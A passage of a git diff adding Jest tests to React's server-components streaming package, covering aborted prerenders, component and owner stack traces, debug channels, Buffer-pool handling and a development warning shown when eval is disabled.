+    const response = ReactServerDOMClient.createFromNodeStream(prelude, {
+      serverConsumerManifest: {
+        moduleMap: null,
+        moduleLoading: null,
+      },
+    });
+    errors.length = 0;
+    const ssrStream = await serverAct(() =>
+      ReactDOMServer.renderToPipeableStream(
+        React.createElement(ClientRoot, {response}),
+        {
+          onError(error) {
+            errors.push(error);
+          },
+        },
+      ),
+    );
+    ssrStream.abort('bam');
+    expect(errors).toEqual([new Error('Connection closed.')]);
+    // Should still match the result when parsed
+    const result = await readResult(ssrStream);
+    expect(result).toContain('loading...');
+  });
+
+  it('includes source locations in component and owner stacks for halted components', async () => {
+    async function Component() {
+      await new Promise(() => {});
+      return null;
+    }
+
+    function App() {
+      return ReactServer.createElement(
+        'html',
+        null,
+        ReactServer.createElement(
+          'body',
+          null,
+          ReactServer.createElement(
+            ReactServer.Suspense,
+            {fallback: 'Loading...'},
+            ReactServer.createElement(Component, null),
+          ),
+        ),
+      );
+    }
+
+    const errors = [];
+    const serverAbortController = new AbortController();
+    const {pendingResult} = await serverAct(async () => {
+      // destructure trick to avoid the act scope from awaiting the returned value
+      return {
+        pendingResult: ReactServerDOMStaticServer.prerender(
+          ReactServer.createElement(App, null),
+          webpackMap,
+          {
+            signal: serverAbortController.signal,
+            onError(error) {
+              errors.push(error);
+            },
+          },
+        ),
+      };
+    });
+
+    await await serverAct(
+      async () =>
+        new Promise(resolve => {
+          setImmediate(() => {
+            serverAbortController.abort();
+            resolve();
+          });
+        }),
+    );
+
+    const {prelude} = await pendingResult;
+
+    expect(errors).toEqual([]);
+
+    function ClientRoot({response}) {
+      return use(response);
+    }
+
+    const prerenderResponse = ReactServerDOMClient.createFromReadableStream(
+      await createBufferedUnclosingStream(prelude),
+      {
+        serverConsumerManifest: {
+          moduleMap: null,
+          moduleLoading: null,
+        },
+      },
+    );
+
+    let componentStack;
+    let ownerStack;
+
+    const clientAbortController = new AbortController();
+
+    const fizzPrerenderStreamResult = ReactDOMFizzStatic.prerender(
+      React.createElement(ClientRoot, {response: prerenderResponse}),
+      {
+        signal: clientAbortController.signal,
+        onError(error, errorInfo) {
+          componentStack = errorInfo.componentStack;
+          ownerStack = React.captureOwnerStack
+            ? React.captureOwnerStack()
+            : null;
+        },
+      },
+    );
+
+    await await serverAct(
+      async () =>
+        new Promise(resolve => {
+          setImmediate(() => {
+            clientAbortController.abort();
+            resolve();
+          });
+        }),
+    );
+
+    const fizzPrerenderStream = await fizzPrerenderStreamResult;
+    const prerenderHTML = await readWebResult(fizzPrerenderStream.prelude);
+
+    expect(prerenderHTML).toContain('Loading...');
+
+    if (__DEV__) {
+      expect(normalizeCodeLocInfo(componentStack)).toBe(
+        '\n' +
+          '    in Component' +
+          (gate(flags => flags.enableAsyncDebugInfo) ? ' (at **)\n' : '\n') +
+          '    in Suspense\n' +
+          '    in body\n' +
+          '    in html\n' +
+          '    in App (at **)\n' +
+          '    in ClientRoot (at **)',
+      );
+    } else {
+      expect(normalizeCodeLocInfo(componentStack)).toBe(
+        '\n    in Suspense\n' +
+          '    in body\n' +
+          '    in html\n' +
+          '    in ClientRoot (at **)',
+      );
+    }
+
+    if (__DEV__) {
+      if (gate(flags => flags.enableAsyncDebugInfo)) {
+        expect(normalizeCodeLocInfo(ownerStack)).toBe(
+          '\n    in Component (at **)\n    in App (at **)',
+        );
+      } else {
+        expect(normalizeCodeLocInfo(ownerStack)).toBe('\n    in App (at **)');
+      }
+    } else {
+      expect(ownerStack).toBeNull();
+    }
+  });
+
+  it('includes source locations in component and owner stacks for halted Client components', async () => {
+    function SharedComponent({p1, p2, p3}) {
+      use(p1);
+      use(p2);
+      use(p3);
+      return <div>Hello, Dave!</div>;
+    }
+    const ClientComponentOnTheServer = clientExports(SharedComponent);
+    const ClientComponentOnTheClient = clientExports(
+      SharedComponent,
+      123,
+      'path/to/chunk.js',
+    );
+
+    let resolvePendingPromise;
+    function ServerComponent() {
+      const p1 = Promise.resolve();
+      const p2 = new Promise(resolve => {
+        resolvePendingPromise = value => {
+          p2.status = 'fulfilled';
+          p2.value = value;
+          resolve(value);
+        };
+      });
+      const p3 = new Promise(() => {});
+      return ReactServer.createElement(ClientComponentOnTheClient, {
+        p1: p1,
+        p2: p2,
+        p3: p3,
+      });
+    }
+
+    function App() {
+      return ReactServer.createElement(
+        'html',
+        null,
+        ReactServer.createElement(
+          'body',
+          null,
+          ReactServer.createElement(
+            ReactServer.Suspense,
+            {fallback: 'Loading...'},
+            ReactServer.createElement(ServerComponent, null),
+          ),
+        ),
+      );
+    }
+
+    const errors = [];
+    const rscStream = await serverAct(() =>
+      ReactServerDOMServer.renderToPipeableStream(
+        ReactServer.createElement(App, null),
+        webpackMap,
+      ),
+    );
+
+    const readable = new Stream.PassThrough(streamOptions);
+    rscStream.pipe(readable);
+
+    function ClientRoot({response}) {
+      return use(response);
+    }
+
+    const serverConsumerManifest = {
+      moduleMap: {
+        [webpackMap[ClientComponentOnTheClient.$$id].id]: {
+          '*': webpackMap[ClientComponentOnTheServer.$$id],
+        },
+      },
+      moduleLoading: webpackModuleLoading,
+    };
+
+    expect(errors).toEqual([]);
+
+    function ClientRoot({response}) {
+      return use(response);
+    }
+
+    const response = ReactServerDOMClient.createFromNodeStream(
+      readable,
+      serverConsumerManifest,
+    );
+
+    let componentStack;
+    let ownerStack;
+
+    const clientAbortController = new AbortController();
+
+    const fizzPrerenderStreamResult = ReactDOMFizzStatic.prerender(
+      React.createElement(ClientRoot, {response}),
+      {
+        signal: clientAbortController.signal,
+        onError(error, errorInfo) {
+          componentStack = errorInfo.componentStack;
+          ownerStack = React.captureOwnerStack
+            ? React.captureOwnerStack()
+            : null;
+        },
+      },
+    );
+
+    resolvePendingPromise('custom-instrum-resolve');
+    await serverAct(
+      async () =>
+        new Promise(resolve => {
+          setImmediate(() => {
+            clientAbortController.abort();
+            resolve();
+          });
+        }),
+    );
+
+    const fizzPrerenderStream = await fizzPrerenderStreamResult;
+    const prerenderHTML = await readWebResult(fizzPrerenderStream.prelude);
+
+    expect(prerenderHTML).toContain('Loading...');
+
+    if (__DEV__) {
+      expect(normalizeCodeLocInfo(componentStack)).toBe(
+        '\n' +
+          '    in SharedComponent (at **)\n' +
+          '    in ServerComponent' +
+          (gate(flags => flags.enableAsyncDebugInfo) ? ' (at **)' : '') +
+          '\n' +
+          '    in Suspense\n' +
+          '    in body\n' +
+          '    in html\n' +
+          '    in App (at **)\n' +
+          '    in ClientRoot (at **)',
+      );
+    } else {
+      expect(normalizeCodeLocInfo(componentStack)).toBe(
+        '\n' +
+          '    in SharedComponent (at **)\n' +
+          '    in Suspense\n' +
+          '    in body\n' +
+          '    in html\n' +
+          '    in ClientRoot (at **)',
+      );
+    }
+
+    if (__DEV__) {
+      expect(ignoreListStack(ownerStack)).toBe(
+        // eslint-disable-next-line react-internal/safe-string-coercion
+        '' +
+          // The concrete location may change as this test is updated.
+          // Just make sure they still point at React.use(p2)
+          (gate(flags => flags.enableAsyncDebugInfo)
+            ? '\n    at SharedComponent (./ReactFlightDOMNode-test.js:813:7)'
+            : '') +
+          '\n    at ServerComponent (file://./ReactFlightDOMNode-test.js:835:26)' +
+          '\n    at App (file://./ReactFlightDOMNode-test.js:852:25)',
+      );
+    } else {
+      expect(ownerStack).toBeNull();
+    }
+  });
+
+  it('includes deeper location for aborted stacks', async () => {
+    async function getData() {
+      const signal = ReactServer.cacheSignal();
+      await new Promise((resolve, reject) => {
+        signal.addEventListener('abort', () => reject(signal.reason));
+      });
+    }
+
+    async function thisShouldNotBeInTheStack() {
+      await new Promise((resolve, reject) => {
+        resolve();
+      });
+    }
+
+    async function Component() {
+      try {
+        await getData();
+      } catch (x) {
+        await thisShouldNotBeInTheStack(); // This is issued after the rejection so should not be included.
+      }
+      return null;
+    }
+
+    function App() {
+      return ReactServer.createElement(
+        'html',
+        null,
+        ReactServer.createElement(
+          'body',
+          null,
+          ReactServer.createElement(
+            ReactServer.Suspense,
+            {fallback: 'Loading...'},
+            ReactServer.createElement(Component, null),
+          ),
+        ),
+      );
+    }
+
+    const errors = [];
+    const serverAbortController = new AbortController();
+    const {pendingResult} = await serverAct(async () => {
+      // destructure trick to avoid the act scope from awaiting the returned value
+      return {
+        pendingResult: ReactServerDOMStaticServer.prerender(
+          ReactServer.createElement(App, null),
+          webpackMap,
+          {
+            signal: serverAbortController.signal,
+            onError(error) {
+              errors.push(error);
+            },
+            filterStackFrame,
+          },
+        ),
+      };
+    });
+
+    await serverAct(
+      () =>
+        new Promise(resolve => {
+          setImmediate(() => {
+            serverAbortController.abort();
+            resolve();
+          });
+        }),
+    );
+
+    const {prelude} = await pendingResult;
+
+    expect(errors).toEqual([]);
+
+    function ClientRoot({response}) {
+      return use(response);
+    }
+
+    const prerenderResponse = ReactServerDOMClient.createFromReadableStream(
+      await createBufferedUnclosingStream(prelude),
+      {
+        serverConsumerManifest: {
+          moduleMap: null,
+          moduleLoading: null,
+        },
+      },
+    );
+
+    let componentStack;
+    let ownerStack;
+
+    const clientAbortController = new AbortController();
+
+    const fizzPrerenderStreamResult = ReactDOMFizzStatic.prerender(
+      React.createElement(ClientRoot, {response: prerenderResponse}),
+      {
+        signal: clientAbortController.signal,
+        onError(error, errorInfo) {
+          componentStack = errorInfo.componentStack;
+          ownerStack = React.captureOwnerStack
+            ? React.captureOwnerStack()
+            : null;
+        },
+      },
+    );
+
+    await await serverAct(
+      async () =>
+        new Promise(resolve => {
+          setImmediate(() => {
+            clientAbortController.abort();
+            resolve();
+          });
+        }),
+    );
+
+    const fizzPrerenderStream = await fizzPrerenderStreamResult;
+    const prerenderHTML = await readWebResult(fizzPrerenderStream.prelude);
+
+    expect(prerenderHTML).toContain('Loading...');
+
+    if (__DEV__) {
+      expect(normalizeCodeLocInfo(componentStack)).toBe(
+        '\n' +
+          '    in Component' +
+          (gate(flags => flags.enableAsyncDebugInfo) ? ' (at **)\n' : '\n') +
+          '    in Suspense\n' +
+          '    in body\n' +
+          '    in html\n' +
+          '    in App (at **)\n' +
+          '    in ClientRoot (at **)',
+      );
+    } else {
+      expect(normalizeCodeLocInfo(componentStack)).toBe(
+        '\n    in Suspense\n' +
+          '    in body\n' +
+          '    in html\n' +
+          '    in ClientRoot (at **)',
+      );
+    }
+
+    if (__DEV__) {
+      if (gate(flags => flags.enableAsyncDebugInfo)) {
+        expect(normalizeCodeLocInfo(ownerStack)).toBe(
+          '' +
+            '\n    in getData (at **)' +
+            '\n    in Component (at **)' +
+            '\n    in App (at **)',
+        );
+      } else {
+        expect(normalizeCodeLocInfo(ownerStack)).toBe(
+          '' + '\n    in App (at **)',
+        );
+      }
+    } else {
+      expect(ownerStack).toBeNull();
+    }
+  });
+
+  it('can handle an empty prelude when prerendering', async () => {
+    function App() {
+      return null;
+    }
+
+    const serverAbortController = new AbortController();
+    serverAbortController.abort();
+    const errors = [];
+    const {pendingResult} = await serverAct(async () => {
+      // destructure trick to avoid the act scope from awaiting the returned value
+      return {
+        pendingResult: ReactServerDOMStaticServer.prerender(
+          ReactServer.createElement(App, null),
+          webpackMap,
+          {
+            signal: serverAbortController.signal,
+            onError(error) {
+              errors.push(error);
+            },
+          },
+        ),
+      };
+    });
+
+    expect(errors).toEqual([]);
+
+    const {prelude} = await pendingResult;
+
+    const reader = prelude.getReader();
+    while (true) {
+      const {done} = await reader.read();
+      if (done) {
+        break;
+      }
+    }
+
+    // We don't really have an assertion other than to make sure
+    // the stream doesn't hang.
+  });
+
+  // @gate __DEV__
+  it('can transport debug info through a separate debug channel', async () => {
+    function Thrower() {
+      throw new Error('ssr-throw');
+    }
+
+    const ClientComponentOnTheClient = clientExports(
+      Thrower,
+      123,
+      'path/to/chunk.js',
+    );
+
+    const ClientComponentOnTheServer = clientExports(Thrower);
+
+    function App() {
+      return ReactServer.createElement(
+        ReactServer.Suspense,
+        null,
+        ReactServer.createElement(ClientComponentOnTheClient, null),
+      );
+    }
+
+    const debugReadable = new Stream.PassThrough(streamOptions);
+
+    const rscStream = await serverAct(() =>
+      ReactServerDOMServer.renderToPipeableStream(
+        ReactServer.createElement(App, null),
+        webpackMap,
+        {
+          debugChannel: new Stream.Writable({
+            write(chunk, encoding, callback) {
+              debugReadable.write(chunk, encoding);
+              callback();
+            },
+            final() {
+              debugReadable.end();
+            },
+          }),
+        },
+      ),
+    );
+
+    // Create a delayed stream to simulate that the RSC stream might be
+    // transported slower than the debug channel, which must not lead to a
+    // `Connection closed` error in the Flight client.
+    const {delayedStream, resolveDelayedStream} = createDelayedStream();
+
+    rscStream.pipe(delayedStream);
+
+    function ClientRoot({response}) {
+      return use(response);
+    }
+
+    const serverConsumerManifest = {
+      moduleMap: {
+        [webpackMap[ClientComponentOnTheClient.$$id].id]: {
+          '*': webpackMap[ClientComponentOnTheServer.$$id],
+        },
+      },
+      moduleLoading: webpackModuleLoading,
+    };
+
+    const response = ReactServerDOMClient.createFromNodeStream(
+      delayedStream,
+      serverConsumerManifest,
+      {debugChannel: debugReadable},
+    );
+
+    setTimeout(resolveDelayedStream);
+
+    let ownerStack;
+
+    const ssrStream = await serverAct(() =>
+      ReactDOMServer.renderToPipeableStream(
+        <ClientRoot response={response} />,
+        {
+          onError(err, errorInfo) {
+            ownerStack = React.captureOwnerStack
+              ? React.captureOwnerStack()
+              : null;
+          },
+        },
+      ),
+    );
+
+    const result = await readResult(ssrStream);
+
+    expect(normalizeCodeLocInfo(ownerStack)).toBe('\n    in App (at **)');
+
+    expect(result).toContain(
+      'Switched to client rendering because the server rendering errored:\n\nssr-throw',
+    );
+  });
+
+  // @gate __DEV__
+  it('can transport debug info through a slow debug channel', async () => {
+    function Thrower() {
+      throw new Error('ssr-throw');
+    }
+
+    const ClientComponentOnTheClient = clientExports(
+      Thrower,
+      123,
+      'path/to/chunk.js',
+    );
+
+    const ClientComponentOnTheServer = clientExports(Thrower);
+
+    function App() {
+      return ReactServer.createElement(
+        ReactServer.Suspense,
+        null,
+        ReactServer.createElement(ClientComponentOnTheClient, null),
+      );
+    }
+
+    // Create a delayed stream to simulate that the debug stream might be
+    // transported slower than the RSC stream, which must not lead to missing
+    // debug info.
+    const {delayedStream, resolveDelayedStream} = createDelayedStream();
+
+    const rscStream = await serverAct(() =>
+      ReactServerDOMServer.renderToPipeableStream(
+        ReactServer.createElement(App, null),
+        webpackMap,
+        {
+          debugChannel: new Stream.Writable({
+            write(chunk, encoding, callback) {
+              delayedStream.write(chunk, encoding);
+              callback();
+            },
+            final() {
+              delayedStream.end();
+            },
+          }),
+        },
+      ),
+    );
+
+    const readable = new Stream.PassThrough(streamOptions);
+
+    rscStream.pipe(readable);
+
+    function ClientRoot({response}) {
+      return use(response);
+    }
+
+    const serverConsumerManifest = {
+      moduleMap: {
+        [webpackMap[ClientComponentOnTheClient.$$id].id]: {
+          '*': webpackMap[ClientComponentOnTheServer.$$id],
+        },
+      },
+      moduleLoading: webpackModuleLoading,
+    };
+
+    const response = ReactServerDOMClient.createFromNodeStream(
+      readable,
+      serverConsumerManifest,
+      {debugChannel: delayedStream},
+    );
+
+    setTimeout(resolveDelayedStream);
+
+    let ownerStack;
+
+    const ssrStream = await serverAct(() =>
+      ReactDOMServer.renderToPipeableStream(
+        <ClientRoot response={response} />,
+        {
+          onError(err, errorInfo) {
+            ownerStack = React.captureOwnerStack
+              ? React.captureOwnerStack()
+              : null;
+          },
+        },
+      ),
+    );
+
+    const result = await readResult(ssrStream);
+
+    expect(normalizeCodeLocInfo(ownerStack)).toBe('\n    in App (at **)');
+
+    expect(result).toContain(
+      'Switched to client rendering because the server rendering errored:\n\nssr-throw',
+    );
+  });
+
+  // This is a regression test for a specific issue where byte Web Streams are
+  // detaching ArrayBuffers, which caused downstream issues (e.g. "Cannot
+  // perform Construct on a detached ArrayBuffer") for chunks that are using
+  // Node's internal Buffer pool.
+  it('should not corrupt the Node.js Buffer pool by detaching ArrayBuffers when using Web Streams', async () => {
+    // Create a temp file smaller than 4KB to ensure it uses the Buffer pool.
+    const file = path.join(os.tmpdir(), 'test.bin');
+    fs.writeFileSync(file, Buffer.alloc(4095));
+    const fileChunk = fs.readFileSync(file);
+    fs.unlinkSync(file);
+
+    // Verify this chunk uses the Buffer pool (8192 bytes for files < 4KB).
+    expect(fileChunk.buffer.byteLength).toBe(8192);
+
+    const readable = await serverAct(() =>
+      ReactServerDOMServer.renderToReadableStream(fileChunk, webpackMap),
+    );
+
+    // Create a Web Streams WritableStream that tries to use Buffer operations.
+    const writable = new WritableStream({
+      write(chunk) {
+        // Only write one byte to ensure Node.js is not creating a new Buffer
+        // pool. Typically, library code (e.g. a compression middleware) would
+        // call Buffer.from(chunk) or similar, instead of allocating a new
+        // Buffer directly. With that, the test file could only be ~2600 bytes.
+        Buffer.allocUnsafe(1);
+      },
+    });
+
+    // Must not throw an error.
+    await readable.pipeTo(writable);
+  });
+
+  describe('with real timers', () => {
+    // These tests schedule their rendering in a way that requires real timers
+    // to be used to accurately represent how this interacts with React's
+    // internal scheduling.
+
+    beforeEach(() => {
+      jest.useRealTimers();
+    });
+
+    afterEach(() => {
+      jest.useFakeTimers();
+    });
+
+    it('should use late-arriving I/O debug info to enhance component and owner stacks when aborting a prerender', async () => {
+      let resolveDynamicData1;
+      let resolveDynamicData2;
+
+      async function getDynamicData1() {
+        return new Promise(resolve => {
+          resolveDynamicData1 = resolve;
+        });
+      }
+
+      async function getDynamicData2() {
+        return new Promise(resolve => {
+          resolveDynamicData2 = resolve;
+        });
+      }
+
+      async function Dynamic() {
+        const data1 = await getDynamicData1();
+        const data2 = await getDynamicData2();
+
+        return ReactServer.createElement('p', null, data1, ' ', data2);
+      }
+
+      function App() {
+        return ReactServer.createElement(
+          'html',
+          null,
+          ReactServer.createElement(
+            'body',
+            null,
+            ReactServer.createElement(Dynamic),
+          ),
+        );
+      }
+
+      let staticEndTime = -1;
+      const initialChunks = [];
+      const dynamicChunks = [];
+
+      await new Promise(resolve => {
+        setTimeout(async () => {
+          const stream = ReactServerDOMServer.renderToPipeableStream(
+            ReactServer.createElement(App),
+            webpackMap,
+            {filterStackFrame},
+          );
+
+          const passThrough = new Stream.PassThrough(streamOptions);
+          stream.pipe(passThrough);
+
+          passThrough.on('data', chunk => {
+            if (staticEndTime < 0) {
+              initialChunks.push(chunk);
+            } else {
+              dynamicChunks.push(chunk);
+            }
+          });
+
+          passThrough.on('end', resolve);
+        });
+        setTimeout(() => {
+          staticEndTime = performance.now() + performance.timeOrigin;
+          resolveDynamicData1('Hi');
+          setTimeout(() => {
+            resolveDynamicData2('Josh');
+          });
+        });
+      });
+
+      // Create a new Readable and push all initial chunks immediately.
+      const readable = new Stream.Readable({...streamOptions, read() {}});
+      for (let i = 0; i < initialChunks.length; i++) {
+        readable.push(initialChunks[i]);
+      }
+
+      const abortController = new AbortController();
+
+      // When prerendering is aborted, push all dynamic chunks. They won't be
+      // considered for rendering, but they include debug info we want to use.
+      abortController.signal.addEventListener(
+        'abort',
+        () => {
+          for (let i = 0; i < dynamicChunks.length; i++) {
+            readable.push(dynamicChunks[i]);
+          }
+        },
+        {once: true},
+      );
+
+      const response = ReactServerDOMClient.createFromNodeStream(
+        readable,
+        {
+          serverConsumerManifest: {
+            moduleMap: null,
+            moduleLoading: null,
+          },
+        },
+        {
+          // Debug info arriving after this end time will be ignored, e.g. the
+          // I/O info for the second dynamic data.
+          endTime: staticEndTime,
+        },
+      );
+
+      function ClientRoot() {
+        return use(response);
+      }
+
+      let componentStack;
+      let ownerStack;
+
+      const {prelude} = await new Promise(resolve => {
+        let result;
+
+        setTimeout(() => {
+          result = ReactDOMFizzStatic.prerenderToNodeStream(
+            React.createElement(ClientRoot),
+            {
+              signal: abortController.signal,
+              onError(error, errorInfo) {
+                componentStack = errorInfo.componentStack;
+                ownerStack = React.captureOwnerStack
+                  ? React.captureOwnerStack()
+                  : null;
+              },
+            },
+          );
+        });
+
+        setTimeout(() => {
+          abortController.abort();
+          resolve(result);
+        });
+      });
+
+      const prerenderHTML = await readResult(prelude);
+
+      expect(prerenderHTML).toBe('');
+
+      if (__DEV__) {
+        expect(
+          normalizeCodeLocInfo(componentStack, {preserveLocation: true}),
+        ).toBe(
+          '\n' +
+            '    in Dynamic' +
+            (gate(flags => flags.enableAsyncDebugInfo)
+              ? ' (file://ReactFlightDOMNode-test.js:1416:27)\n'
+              : '\n') +
+            '    in body\n' +
+            '    in html\n' +
+            '    in App (file://ReactFlightDOMNode-test.js:1429:25)\n' +
+            '    in ClientRoot (ReactFlightDOMNode-test.js:1504:16)',
+        );
+      } else {
+        expect(
+          normalizeCodeLocInfo(componentStack, {preserveLocation: true}),
+        ).toBe(
+          '\n' +
+            '    in body\n' +
+            '    in html\n' +
+            '    in ClientRoot (ReactFlightDOMNode-test.js:1504:16)',
+        );
+      }
+
+      if (__DEV__) {
+        if (gate(flags => flags.enableAsyncDebugInfo)) {
+          expect(
+            normalizeCodeLocInfo(ownerStack, {preserveLocation: true}),
+          ).toBe(
+            '\n' +
+              '    in Dynamic (file://ReactFlightDOMNode-test.js:1416:27)\n' +
+              '    in App (file://ReactFlightDOMNode-test.js:1429:25)',
+          );
+        } else {
+          expect(
+            normalizeCodeLocInfo(ownerStack, {preserveLocation: true}),
+          ).toBe(
+            '' +
+              '\n' +
+              '    in App (file://ReactFlightDOMNode-test.js:1429:25)',
+          );
+        }
+      } else {
+        expect(ownerStack).toBeNull();
+      }
+    });
+
+    function createReadableWithLateRelease(initialChunks, lateChunks, signal) {
+      // Create a new Readable and push all initial chunks immediately.
+      const readable = new Stream.Readable({...streamOptions, read() {}});
+      for (let i = 0; i < initialChunks.length; i++) {
+        readable.push(initialChunks[i]);
+      }
+
+      // When prerendering is aborted, push all dynamic chunks. They won't be
+      // considered for rendering, but they include debug info we want to use.
+      signal.addEventListener(
+        'abort',
+        () => {
+          for (let i = 0; i < lateChunks.length; i++) {
+            readable.push(lateChunks[i]);
+          }
+          setImmediate(() => {
+            readable.push(null);
+          });
+        },
+        {once: true},
+      );
+
+      return readable;
+    }
+
+    async function reencodeFlightStream(
+      staticChunks,
+      dynamicChunks,
+      startTime,
+      serverConsumerManifest,
+    ) {
+      let staticEndTime = -1;
+      const chunks = {
+        static: [],
+        dynamic: [],
+      };
+      await new Promise(async resolve => {
+        const renderStageController = new AbortController();
+
+        const serverStream = createReadableWithLateRelease(
+          staticChunks,
+          dynamicChunks,
+          renderStageController.signal,
+        );
+        const decoded = await ReactServerDOMClient.createFromNodeStream(
+          serverStream,
+          serverConsumerManifest,
+          {
+            // We're re-encoding the whole stream, so we don't want to filter out any debug info.
+            endTime: undefined,
+          },
+        );
+
+        setTimeout(async () => {
+          const stream = ReactServerDOMServer.renderToPipeableStream(
+            decoded,
+            webpackMap,
+            {
+              filterStackFrame,
+              // Pass in the original render's startTime to avoid omitting its IO info.
+              startTime,
+            },
+          );
+
+          const passThrough = new Stream.PassThrough(streamOptions);
+
+          passThrough.on('data', chunk => {
+            if (!renderStageController.signal.aborted) {
+              chunks.static.push(chunk);
+            } else {
+              chunks.dynamic.push(chunk);
+            }
+          });
+          passThrough.on('end', resolve);
+
+          stream.pipe(passThrough);
+        });
+
+        setTimeout(() => {
+          staticEndTime = performance.now() + performance.timeOrigin;
+          renderStageController.abort();
+        });
+      });
+
+      return {chunks, staticEndTime};
+    }
+
+    // @gate __DEV__
+    it('can preserve old IO info when decoding and re-encoding a stream with options.startTime', async () => {
+      let resolveDynamicData;
+
+      function getDynamicData() {
+        return new Promise(resolve => {
+          resolveDynamicData = resolve;
+        });
+      }
+
+      async function Dynamic() {
+        const data = await getDynamicData();
+        return ReactServer.createElement('p', null, data);
+      }
+
+      function App() {
+        return ReactServer.createElement(
+          'html',
+          null,
+          ReactServer.createElement(
+            'body',
+            null,
+            ReactServer.createElement(
+              ReactServer.Suspense,
+              {fallback: 'Loading...'},
+              // TODO: having a wrapper <section> here seems load-bearing.
+              // ReactServer.createElement(ReactServer.createElement(Dynamic)),
+              ReactServer.createElement(
+                'section',
+                null,
+                ReactServer.createElement(Dynamic),
+              ),
+            ),
+          ),
+        );
+      }
+
+      const resolveDynamic = () => {
+        resolveDynamicData('Hi Janka');
+      };
+
+      // 1. Render <App />, dividing the output into static and dynamic content.
+
+      let startTime = -1;
+
+      let isStatic = true;
+      const chunks1 = {
+        static: [],
+        dynamic: [],
+      };
+
+      await new Promise(resolve => {
+        setTimeout(async () => {
+          startTime = performance.now() + performance.timeOrigin;
+
+          const stream = ReactServerDOMServer.renderToPipeableStream(
+            ReactServer.createElement(App),
+            webpackMap,
+            {
+              filterStackFrame,
+              startTime,
+              environmentName() {
+                return isStatic ? 'Prerender' : 'Server';
+              },
+            },
+          );
+
+          const passThrough = new Stream.PassThrough(streamOptions);
+
+          passThrough.on('data', chunk => {
+            if (isStatic) {
+              chunks1.static.push(chunk);
+            } else {
+              chunks1.dynamic.push(chunk);
+            }
+          });
+          passThrough.on('end', resolve);
+
+          stream.pipe(passThrough);
+        });
+        setTimeout(() => {
+          isStatic = false;
+          resolveDynamic();
+        });
+      });
+
+      //===============================================
+      // 2. Decode the stream from the previous step and render it again.
+      // This should preserve existing debug info.
+
+      const serverConsumerManifest = {
+        moduleMap: null,
+        moduleLoading: null,
+      };
+
+      const {chunks: chunks2, staticEndTime: reencodeStaticEndTime} =
+        await reencodeFlightStream(
+          chunks1.static,
+          chunks1.dynamic,
+          // This is load-bearing. If we don't pass a startTime, IO info
+          // from the initial render will be skipped (because it finished in the past)
+          // and we won't get the precise location of the blocking await in the owner stack.
+          startTime,
+          serverConsumerManifest,
+        );
+
+      //===============================================
+      // 3. SSR the stream from the previous step and abort it after the static stage
+      // (which should trigger `onError` for each "hole" that hasn't resolved yet)
+
+      function ClientRoot({response}) {
+        return use(response);
+      }
+
+      let ssrStream;
+      let ownerStack;
+      let componentStack;
+
+      await new Promise(async (resolve, reject) => {
+        const renderController = new AbortController();
+
+        const serverStream = createReadableWithLateRelease(
+          chunks2.static,
+          chunks2.dynamic,
+          renderController.signal,
+        );
+
+        const decodedPromise = ReactServerDOMClient.createFromNodeStream(
+          serverStream,
+          serverConsumerManifest,
+          {
+            endTime: reencodeStaticEndTime,
+          },
+        );
+
+        setTimeout(() => {
+          ssrStream = ReactDOMServer.renderToPipeableStream(
+            React.createElement(ClientRoot, {
+              response: decodedPromise,
+            }),
+            {
+              onError(err, errorInfo) {
+                componentStack = errorInfo.componentStack;
+                ownerStack = React.captureOwnerStack
+                  ? React.captureOwnerStack()
+                  : null;
+                return null;
+              },
+            },
+          );
+
+          renderController.signal.addEventListener(
+            'abort',
+            () => {
+              const {reason} = renderController.signal;
+              ssrStream.abort(reason);
+            },
+            {
+              once: true,
+            },
+          );
+        });
+
+        setTimeout(() => {
+          renderController.abort(new Error('ssr-abort'));
+          resolve();
+        });
+      });
+
+      const result = await readResult(ssrStream);
+
+      expect(normalizeCodeLocInfo(componentStack)).toBe(
+        '\n' +
+          // TODO:
+          // when we reencode a stream, the component stack doesn't have server frames for the dynamic content
+          // (which is what causes the dynamic hole here)
+          // because Flight delays forwarding debug info for lazies until they resolve.
+          // (the owner stack is filled in `pushHaltedAwaitOnComponentStack`, so it works fine)
+          //
+          // '    in Dynamic (at **)\n'
+          '    in section\n' +
+          '    in Suspense\n' +
+          '    in body\n' +
+          '    in html\n' +
+          '    in App (at **)\n' +
+          '    in ClientRoot (at **)',
+      );
+      expect(normalizeCodeLocInfo(ownerStack)).toBe(
+        '\n' +
+          gate(flags =>
+            flags.enableAsyncDebugInfo
+              ? '    in Dynamic (at **)\n'
+              : '    in section\n',
+          ) +
+          '    in App (at **)',
+      );
+
+      expect(result).toContain(
+        'Switched to client rendering because the server rendering aborted due to:\n\n' +
+          'ssr-abort',
+      );
+    });
+  });
+
+  it('warns with a tailored message if eval is not available in dev', async () => {
+    // eslint-disable-next-line no-eval
+    const previousEval = globalThis.eval.bind(globalThis);
+    // eslint-disable-next-line no-eval
+    globalThis.eval = () => {
+      throw new Error('eval is disabled');
+    };
+
+    try {
+      const readable = await serverAct(() =>
+        ReactServerDOMServer.renderToReadableStream({}, webpackMap),
+      );
+
+      assertConsoleErrorDev([]);
+
+      await ReactServerDOMClient.createFromReadableStream(readable, {
+        serverConsumerManifest: {
+          moduleMap: null,
+          moduleLoading: null,
+        },
+      });
+
+      assertConsoleErrorDev([
+        'eval() is not supported in this environment. ' +
+          'This can happen if you started the Node.js process with --disallow-code-generation-from-strings, ' +
+          'or if `eval` was patched by other means. ' +
+          'React requires eval() in development mode for various debugging features ' +
+          'like reconstructing callstacks from a different environment.\n' +
+          'React will never use eval() in production mode',
+      ]);
+    } finally {
+      // eslint-disable-next-line no-eval
+      globalThis.eval = previousEval;
+    }
+  });
 });
diff --git a/packages/react-server-dom-webpack/src/__tests__/ReactFlightDOMReply-test.js b/packages/react-server-dom-webpack/src/__tests__/ReactFlightDOMReply-test.js
index 30aa539e5ab5..b569f02390f4 100644
--- a/packages/react-server-dom-webpack/src/__tests__/ReactFlightDOMReply-test.js
+++ b/packages/react-server-dom-webpack/src/__tests__/ReactFlightDOMReply-test.js
@@ -23,7 +23,7 @@ let React;
 let ReactServerDOMServer;
 let ReactServerDOMClient;
 let ReactServerScheduler;
-let reactServerAct;
+let serverAct;
 
 describe('ReactFlightDOMReply', () => {
   beforeEach(() => {
@@ -31,7 +31,7 @@ describe('ReactFlightDOMReply', () => {
 
     ReactServerScheduler = require('scheduler');
     patchMessageChannel(ReactServerScheduler);
-    reactServerAct = require('internal-test-utils').act;
+    serverAct = require('internal-test-utils').serverAct;
 
     // Simulate the condition resolution
     jest.mock('react', () => require('react/react.react-server'));
@@ -48,17 +48,6 @@ describe('ReactFlightDOMReply', () => {
     ReactServerDOMClient = require('react-server-dom-webpack/client');
